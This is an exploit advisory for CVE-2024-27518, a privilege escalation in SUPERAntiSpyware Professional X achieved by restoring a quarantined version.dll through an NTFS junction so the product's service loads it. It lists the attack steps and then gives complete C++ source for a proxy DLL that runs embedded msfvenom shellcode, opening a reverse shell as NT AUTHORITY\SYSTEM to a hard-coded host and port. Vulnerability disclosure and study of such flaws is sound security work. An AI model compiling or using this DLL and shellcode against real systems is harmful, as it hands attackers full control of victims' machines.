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SUPERAntiSpyware Professional X 10.0.1264 DLL Hijacking / Privilege Escalation

SUPERAntiSpyware Professional X 10.0.1264 DLL Hijacking / Privilege Escalation
Posted Apr 3, 2024
Authored by M. Akil Gundogan

SUPERAntiSpyware Professional X versions 10.0.1264 and below suffer from a privilege escalation vulnerability via dll hijacking.

tags | exploit
systems | windows
advisories | CVE-2024-27518
SHA-256 | 51e69d31c1c8fb597a06f072d218ce2b5cab6a6aa62de2abc66818247fc4d320

SUPERAntiSpyware Professional X 10.0.1264 DLL Hijacking / Privilege Escalation

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# Title: SUPERAntiSpyware Professional X Version <=10.0.1264 "version.dll" Local Privilege Escalation 
# Date: 03.04.2024
# Author: M. Akil Gündoğan
# Vendor Homepage: https://superantispyware.com/
# Version: 10.0.1262 and lastest version 10.0.1264
# Tested on: Windows 10 Professional x64
# PoC Video: https://youtu.be/FM5XlZPdvdo
# CVE ID: CVE-2024-27518

# Vulnerability Description:
--------------------------------------
SUPERAntiSpyware Professional X 10.0.1262 and 10.0.1264 is vulnerable to local privilege escalation because it allows unprivileged users to restore a malicious DLL from quarantine into the "C:\Program Files\SUPERAntiSpyware" folder via an NTFS directory junction, as demonstrated by a crafted version.dll file that is detected as malware. Since SASCore64.exe has a DLL Hijacking vulnerability for "version.dll", a shell is obtained as NT AUTHORITY\SYSTEM after system reboot.

Technical details and step by step Proof of Concept's (PoC):

1 - ​A malicious version.dll file containing shellcode is created.

2 - If the generated shellcode containing "version.dll" is not already detected by SUPERAntiSpyware, it is combined with another malicious file in ".zip" with the command "copy /b version_created.dll + malicious.zip version.dll" to be detected as malicious. In this way, the created ".dll" file can be detected as malicious by SUPERAntiSpyware and quarantined.

3 - Create a new folder and copy the prepared "version.dll" into it. Then the folder is scanned and SUPERAntiSpyware quarantines the DLL.

4 - Using "CreateMountPoint.exe" among the "Symbolic Link Testing" tools provided by Google, the path where "version.dll" is quarantined is mounted in the "C:\Program Files\SUPERAntiSpyware" directory. These tools are available at the following link (https://github.com/googleprojectzero/symboliclink-testing-tools) or you can use the mklink command to do the same thing.

5 - When the quarantined "version.dll" is restored, it will be copied to SUPERAntiSpyware's directory. After the system reboots, SASCore64.exe will execute the shellcode in "version.dll" and open a session with NT AUTHORITY\SYSTEM privileges for the attacker.

# Mitigations:
--------------------------------------
We recommend uninstalling SUPERAntiSpyware until the vulnerability is fixed.

# Timeline:
--------------------------------------
- 18.02.2024 - Vulnerability reported via email but vendor refused to fix it.
- 03.04.2024 - Full disclosure.

# References
--------------------------------------
- Vendor: https://www.superantispyware.com/
- CVE: https://www.cve.org/CVERecord?id=CVE-2024-27518
- Repository: https://github.com/secunnix/CVE-2024-27518/

# DLLMain:
-------------------------------------------------------------------------------------------------------------------------

/* SUPERAntiSpyware LPE "version.dll" DLLMain.cpp
M. Akil GUNDOGAN (0xr3act0r) - Secunnix Vulnerability Research Team
Special Thanks: Safa Karakus and Samet Gozet

If the generated shellcode containing "version.dll" is not already detected by SUPERAntiSpyware,
it is combined with another malicious file in ".zip" with the command "copy /b version_created.dll + malicious.zip version.dll"
to be detected as malicious. In this way, the created ".dll" file can be detected as malicious by SUPERAntiSpyware and quarantined.

Compile as release x64 DLL.
*/

#include "windows.h"
#include "ios"
#include "fstream"
#include <iostream>

#pragma once
#pragma comment(linker,"/export:GetFileVersionInfoA=c:\\windows\\system32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker,"/export:GetFileVersionInfoByHandle=c:\\windows\\system32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker,"/export:GetFileVersionInfoExA=c:\\windows\\system32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker,"/export:GetFileVersionInfoExW=c:\\windows\\system32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker,"/export:GetFileVersionInfoSizeA=c:\\windows\\system32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExA=c:\\windows\\system32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker,"/export:GetFileVersionInfoSizeExW=c:\\windows\\system32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker,"/export:GetFileVersionInfoSizeW=c:\\windows\\system32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker,"/export:GetFileVersionInfoW=c:\\windows\\system32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker,"/export:VerFindFileA=c:\\windows\\system32\\version.VerFindFileA,@10")
#pragma comment(linker,"/export:VerFindFileW=c:\\windows\\system32\\version.VerFindFileW,@11")
#pragma comment(linker,"/export:VerInstallFileA=c:\\windows\\system32\\version.VerInstallFileA,@12")
#pragma comment(linker,"/export:VerInstallFileW=c:\\windows\\system32\\version.VerInstallFileW,@13")
#pragma comment(linker,"/export:VerLanguageNameA=c:\\windows\\system32\\version.VerLanguageNameA,@14")
#pragma comment(linker,"/export:VerLanguageNameW=c:\\windows\\system32\\version.VerLanguageNameW,@15")
#pragma comment(linker,"/export:VerQueryValueA=c:\\windows\\system32\\version.VerQueryValueA,@16")
#pragma comment(linker,"/export:VerQueryValueW=c:\\windows\\system32\\version.VerQueryValueW,@17")

// Shellcode: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.109 LPORT=4444 -f c
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x01\x6d"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


VOID shellcodeExecute() {
ShowWindow(GetConsoleWindow(), SW_HIDE);

HANDLE mem_handle = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

void* mem_map = MapViewOfFile(mem_handle, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0x0, 0x0, sizeof(shellcode));

std::memcpy(mem_map, shellcode, sizeof(shellcode));

std::cout << ((int(*)())mem_map)() << std::endl;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
shellcodeExecute();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

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